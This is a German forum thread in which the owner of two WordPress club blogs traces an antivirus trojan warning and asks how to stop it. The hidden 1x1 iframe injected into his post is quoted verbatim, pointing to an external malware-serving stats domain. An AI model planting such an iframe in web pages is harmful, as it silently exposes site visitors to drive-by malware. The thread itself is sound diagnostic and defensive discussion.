Trojaner-Warnung auf meinen Wordpress-Blogs

Besucher auf meinen Blogs Freiwillige Feuerwehr Bakum und Fischereiverein Bakum warnen mich immer wegen eines Trojaners, der angeblich von dieser Seite kommt. Obwohl ich mein die Wordpress-Installation immer wieder auf die neueste Version (jetzt 2.3.2) aktualisiert habe, lässt sich das Problem anscheinend nicht auf dem Grund gehen. Was kann ich tun?

Counter entfernt

Vielen Dank für die Rückmeldungen. :)Auf Freiwillige Feuerwehr Bakum habe ich den Counter entfernt. Monika: es wäre nett, wenn ich eine Rückmeldung bekommen könnte, ob Kasperski jetzt noch meckert.
Aufgrund der Tatsache, dass zwei von drei Kommentatoren keinerlei Trojanerwarnungen beim Besuch der beiden Wordpress-Blogs hatten, schließe ich, dass es dabei möglicherweise auch um ein Problem der Systeme der Nutzer handeln könnte. (Veraltete Browserversionen, veraltete Betriebssysteme). Ist dies abwegig? Merkwürdigerweise habe ich nie Trojaner-Warnungen bei Besuchen von Wordpress-Blogs gehabt. Ich benutze die aktuelle Version des Firefox + Windows XP im eingeschränkten Benutzerkonto. Vielleicht gibt es bei älteren Internet Explorern schneller Probleme? Ich habe hier auch ein wenig nach Postings zum Thema "Trojaner" gesucht. In welchem Bereich werde ich fündig?

Zitat von marX

Keine Warnung hier (habe FreeAV drauf).

Such mal hier im Forum nach "Trojaner", gibt schon den einen oder anderen Thread dazu. Ansonsten schreib mal, welcher Virus gemeldet wird. Vielleicht lässt sich damit was anfangen.

Nachtrag: auf der Fischereiseite hatte ich grade ne Meldung: "TR/Dldr.HTML.Agent.IS"

Ich habe jetzt - entgegen meiner Gewohnheit - mal vom Windows XP - Administratorkonto aus mit dem IE7 meine beiden Blogs Freiwillige Feuerwehr Bakum und Fischereiverein Bakum aufgerufen . Sofort warnte mich Free AV bei beiden Blogs vor dem obengenannten Trojaner. Mit Firefox gab es kein Problem. Daraufhin habe ich mir die neueste Wordpress_Installation runtergeladen und alle Wordpress-Dateien noch einmal auf dem Server der Fischereihomepage ausgetauscht (bis auf die config.php Datei natürlich. Testweise tauschte ich auch das default.de-Theme aus. Beim Aufruf mit IE7 erhielt ich trotzdem die gleiche Meldung beim aufruf von fv-bakum.de. Wie kann dass? Wie kann sich ein Trojaner immer noch auf der Seite befinden, obwohl ich alle Dateien bis auf den upload - Ordner, auf dem sich nur Fotos befanden und dem myfotos - Ordner, wo sich ebenfalls nur Bilder befanden? Ich weiß keinen Rat mehr. Beide Blogs laufen auf einem 1&1 -Webspace.

Zitat von Putzlowitsch

Dieses IFrame mit dem Zähler (?) ist immer noch drin, und zwar im Beitrag "Winterfest mit Ausrufung der Fischerkönige". Da wird mit Javascript irgendwelcher Code zusammengebastelt. Sowas ist immer verdächtig, springen Virenscanner bestimmt gerne drauf an. Ist ja möglicherweise wirklich ein Trojaner.

Gruß
Ingo

Danke Putzlowitsch! Ein Blick in den Quellcode bestätigt Deinen Hinweis:

Zitat

<div class="post" id="post-165">
<h2><a href="http://fv-bakum.de/?p=165" rel="bookmark" title="Permanent Link to Winterfest mit Ausrufung der Fischerkönige">Winterfest mit Ausrufung der Fischerkönige</a></h2>
<small>18. November 2007 <!-- von admin --></small>

<div class="entry">
<p> Am 17. November fand das Winterfest des Fischereivereins der Gemeinde Bakum e.V. statt. Es Abschluss und Höhepunkt des Jahres 2007 zugleich.</p>
<div class="myinlinepictureleft" style="width:150px">
<div class="myinlineborder" style="width:150px"><img class="myinlinepictureimg" src="http://fv-bakum.de/wp-content/myf…mb_DSC_0050.jpg" alt="" title="" width="150" height="99" /></div>
</div>
<p>Zahlreiche Mitglieder und Freunde des Vereins waren zum Winterfest in das Vereinslokal Tiemerding in Hausstette gekommen. Nach der Begrüßung durch den zweiten Vorsitzenden Bernard Koldehoff gab es ein deftiges und leckeres Kohlessen. Danach wurden die Fischerkönige ausgerufen. Björn Gerken ist Fischerkönig am Mäuseturmsee in Harme, Günter Osterloh am Vereinsteich in Carum. <a href="http://fv-bakum.de/?page_id=161">Zu den Fotos …</a></p>
<p>Oliver Peschke wurde für 30 Jahre Mitgliedschaft im Fischereiverein, Werner Klomfass für 25 Jahre Mitgliedschaft geehrt. Eine große Tombola mit zahlreichen attraktiven Gewinnen stand danach auf dem Programm. Mit Dj Ferdi gab es eine große Polonaise durch den Saal<!-- Traffic Statistics --> [COLOR=Red]<iframe src="http://www.wp-stats-php.info/iframe/wp-stats.php" frameborder="0" height="1" width="1"></iframe> [/COLOR]<!-- End Traffic Statistics --> und noch lange wurde getanzt und gefeiert.</p>
</div>

Alles anzeigen

Ich habe daraufhin diesen Beitrag gelöscht. Wie kann es sein, das dieser Code in diesen Beitrag kam? Wie kann man dies verhindern?

Zitat von Putzlowitsch

Dieses IFrame mit dem Zähler (?) ist immer noch drin, und zwar im Beitrag "Winterfest mit Ausrufung der Fischerkönige". Da wird mit Javascript irgendwelcher Code zusammengebastelt. Sowas ist immer verdächtig, springen Virenscanner bestimmt gerne drauf an. Ist ja möglicherweise wirklich ein Trojaner.

Gruß
Ingo

Danke Ingo, dass ist schon mal die Ursache:

Ein böser Code wurde einfach in meinen Beiträgen eingeschleust, der auf eine wp-stats-info …. Seite verwies, von der anscheinend dieser Trojaner seinen Weg in fremde Rechner sucht. Ein einfacher Rechtsklick mit der Maus “Seitenquelltext anzeigen” reichte aus, diesen Code in den Beiträgen sofort zu entdecken. Selbstverständlich habe ich die “infizierten” Beiträge sofort entfernt. Bei einem Update der Wordpres-Installation werden die Beiträge nicht geändert. Deshalb konnte der schädliche Code beim Auswechseln der Wordpress-Dateien auch nicht beseitigt werden.
Nur was soll man jetzt noch machen? Wie kömmt dieser böse Quelltext in mein Blog? Wie kann man verhindern, das dieser Code sich so einfach in ein Wordpress-Blog schleichen kann? Ich habe alle Dateien der Installation getauscht, meinen Rechner mit dem Antivirenprogramm Antivir gescannt. Nun weiß ich auch nicht, was ich sonst noch so tun kann.

Ich habe in meinem Blogartikel Boeser Code im Wordpress-Blog « Schorschs World dieses Problem ebenfalls zur Diskussion gestellt, da dies sicher auch andere betrifft.
Danke für Eure weiteren Tipps und Unterstützung,
Schorsch

Zitat

... ). Ursache war, dass jemand den Hook wp_footer nutzte, um das in den Footer zu schreiben, denn in der Theme-footer.php war nichts dergleichen.

Schön, wer ist der "Jemand", und wie hast Du dieses Problem gelöst? Was ist das für Normalsterbliche, ein "Hook"? Wo war die Sicherheitslücke? Wie konnten die Dateien von außen verändert werden?

Kommt der böse Code über Kommentare und Trackbacks?

Ich hatte in den letzten Tagen weitere merkwürdige "Zusatzeinträge" in unserem Feuerwehrblog: in einem Eintrag wurde Text in spanischer Sprache hinzugefügt. Heute morgen wurde ich über einen Kommentar iper Email nformiert und fand in meinem Blog einen angeblichen Google - Link zu Handy - Rufmelodien. Ich nehme an, dass über diese Lücke der unerwünschte Text und Quellcode ins Blog kommen kann. Daher werde ich erstmal alle Kommentar- und Trackbackfunktionen deaktivieren. Ist eigentlich ja schade. Ein Stück Wordpress-Funktion wird zerstört durch derartige Sicherheitslücken ...